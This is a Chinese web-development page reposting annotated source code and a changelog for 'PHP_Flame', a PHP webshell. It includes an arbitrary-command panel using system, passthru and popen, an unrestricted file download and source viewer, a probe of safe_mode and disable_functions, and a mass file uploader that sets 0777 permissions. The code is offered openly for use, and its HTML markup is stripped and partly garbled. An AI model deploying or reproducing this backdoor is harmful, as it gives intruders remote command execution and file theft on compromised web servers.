PHP_Flame(Version:Progress)的原代码

2016-02-19 11:38 7 1 收藏

最近很多朋友喜欢上设计,但是大家却不知道如何去做,别担心有图老师给你解答,史上最全最棒的详细解说让你一看就懂。

【 tulaoshi.com - Web开发 】


IPHP_Flame (Version: Progress ) 的一些信息:



*修正了无法下载文件的BUG
*修正了无法返回上级的BUG
*修正了代码编辑出现错误的BUG
......

*增加PHPINFO的功能
*增加多文件下载的功能
*增加执行系统命令的功能
*增加代码查看功能
*增加服务器安全探测功能
.......

*还有许多美化工作。。。。。。 相关的资料:


1。修正了无法返回上级的BUG的代码:
echo "a href="$php_self?act=dir&dir=$dir.."返回上级/a";


2。修正了无法下载文件的相关代码:
case "download":
if (!@is_file($_GET['file_name']))
echo"你要下的文件不存在";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;



3。增加代码查看功能
a href="?echo$php_self;??actionaa=cmd&method=show_source&cmd=? echo $_GET['file'];?" target=_blank文件代码/a


4。修正了代码编辑出现错误的代码:
$tem= str_replace("/textarea","//textarea",$tem);
。。。。。
$tem= str_replace("//textarea","/textarea",$tem);


5。增加服务器安全探测功能:
if (get_cfg_var("safe_mode"))echo"onbr";else echo"offbr";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("font color=redbno value/b/font");
}
else
{
$dis_func=str_replace(" ","br",$dis_func);
$dis_func=str_replace(",","br",$dis_func);
echo("$dis_func");
}


6。执行系统命令部分的代码:
?
if ($actionaa=="cmd") { ?
body bgcolor="#6595d6"
form name="form1" method="post" action="?= $PHP_SELF ??actionaa=cmd"
select name="method"
option value="system" ? if ($method=="system") { echo "selected"; } ?system/option
option value="passthru" ? if ($method=="passthru") { echo "selected"; } ?passthru/option
option value="show_source" ? if ($method=="show_source") { echo "selected"; } ?show_source/option
option value="opendir" ? if ($method=="opendir") { echo "selected"; } ?opendir/option
option value="popen" ? if ($method=="popen") { echo "selected"; } ?popen/option
/selectbr

input type="text" name="cmd" size="40" value="?= $cmd; ?"
input type="submit" name="Submit" value="?=$method?"
br
/form
?
if (!$method) { $method="system"; }
if (!$cmd) {
echo "* JSW'S PHP FLAMEbr";
echo "* Author: JSWbr";
echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"onbr";else echo"offbr";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("font color=redbno value/b/font");
}
else
{
$dis_func=str_replace(" ","br",$dis_func);
$dis_func=str_replace(",","br",$dis_func);
echo("$dis_func");
}

echo "br* Now please choose a function and enter the command......";
}
echo "brpre";
if ($method=="system") {
system("$cmd 2&1");
}
if ($method=="passthru") {
passthru("$cmd 2&1");
}
if ($method=="opendir") {
$h=opendir($cmd);
while($file=readdir($h)) {
echo "$filen";
}
}
if ($method=="show_source") {
if (show_source($cmd)) {
//echo "pre";
//echo show_source($file);
//echo "/pre";
} else {
echo "script alert("unable to read file: $file using: show_source"); /script";
}

}
if ($method=="popen") {
$pp = popen('$cmd 2&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "/pre";
exit;
}
?

7。增加文件上载的代码:
?php
if($dir=="")
$dir="./";
?
?
if($tools==upload)
{
for($i=1;$i21;$i++)
{
$temp1="userfile".$i;
$temp2="userfile".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆盖上传br";
}
else
echo $source_name."请重新上传!br";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上传br";
}
}
}//end for
echo"
html
head
titleJSW'S PHP FLAME/title
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
link href=t.css rel=stylesheet type=text/css
script language="javascript"
function setid()
{
str='br';
if(!window.uploadForm.upcount.value
window.uploadForm.upcount.value20
window.uploadForm.upcount.value==0)
window.uploadForm.upcount.value=1;
for(i=1;i=window.uploadForm.upcount.value;i++)
str+='文件'+i+':input type="file" name="userfile'+i+'" style="width:400" class="tx1"brbr';
window.upid.innerHTML=str+'br';
}
/script
/head
body
body bgcolor="#6595d6"
table width="550" border="1" cellspacing="0" cellpadding="5" align="center"
form name="t" method="get" action="?"
tr class="t2"
tdli 1.指定上传目录(默认为本程序所在目录)
input type="hidden" name="tools" value="upload"
input type="text" name="dir"
input type="submit" value="确定" name="t"/td/li
/tr
/form
form name="uploadForm" method="post" action="?tools=upload&dir=$dir" enctype="multipart/form-data"
tr class="t2"
td
li 2.需要上传的个数(建议最大值 20)
input type="text" name="upcount" class="tx" value="1"
input type="button" name="Button" class="bt" onclick="setid();" value="设定"
/li
li 3.全部文件都覆盖上传: input type="radio" name="up_flag" value="y"是input type="radio" name="up_flag" value="n" checked否
/li
br
br
您的文件将被上传到: $dir
input type="hidden" name="filedir" class="tx" value="$dir"
a href="?"返回PHP_Flame/a
/td
/tr
tr
td id="upid" height="122" 文件1:
input type="file" name="userfile1" style="width:400" class="tx1" value=""
/td
/tr
tr
td
input type="submit" name="upload" value="上传" class="bt"
input type="reset" name="reset" value="重执" class="bt"
/td
/tr/form
/table
/body
/html";
exit;}
?


。。。。。。
最后指明的是,这个PHP程序是在安然的PHP Command的基础上编写的,在此表示感谢,完整代码:http://jsw.china12e.com/jswsoft/show.php

来源:http://www.tulaoshi.com/n/20160219/1598033.html

延伸阅读
标签: Web开发
ajax.html 程序代码 代码如下: !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" html xmlns="http://www.w3.org/1999/xhtml" head meta http-equiv="Content-Type" content="text/html; charset=gb2312" / title兼容多浏览器的AJAX入门实例(超详细注释)/t...
标签: PHP
  <?php /*  Function Written by Nelson Neoh @3/2004.  For those who wants to utilize this code, please do not remove this remark.  If you have done any enhancement to this code, please post the copy at http://www.dev-club.com PHP board.  Thank you. Function usage: calendar(Month,Year) ...
标签: PHP
<?php   $key = "This is supposed to be a secret key !!!";   function keyED($txt,$encrypt_key)   {   $encrypt_key = md5($encrypt_key);   $ctr=0;   $tmp = "";   for ($i=0;$i<strlen($txt);$i++)   { ...
标签: Web开发
PHP树的代码,可以嵌套任意层? file://建立树的主要函数,传递的参数为根节点的编号和根节点的标题 function create_tree($rootid,$roottilte){   print_parent_from_rootsortid($rootid,$roottilte); } file://打印根节点div头的函数 function print_parent_from_rootsortid($rootid,$roottilte){   $parent_fullname="R"...
标签: PHP
<?php echo <<< EOT                  <table width=80% border="2" cellpadding="3" cellspacing="0" bordercolor="#808080"                 <tr bgcolor="#84A9...

经验教程

140

收藏

55
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部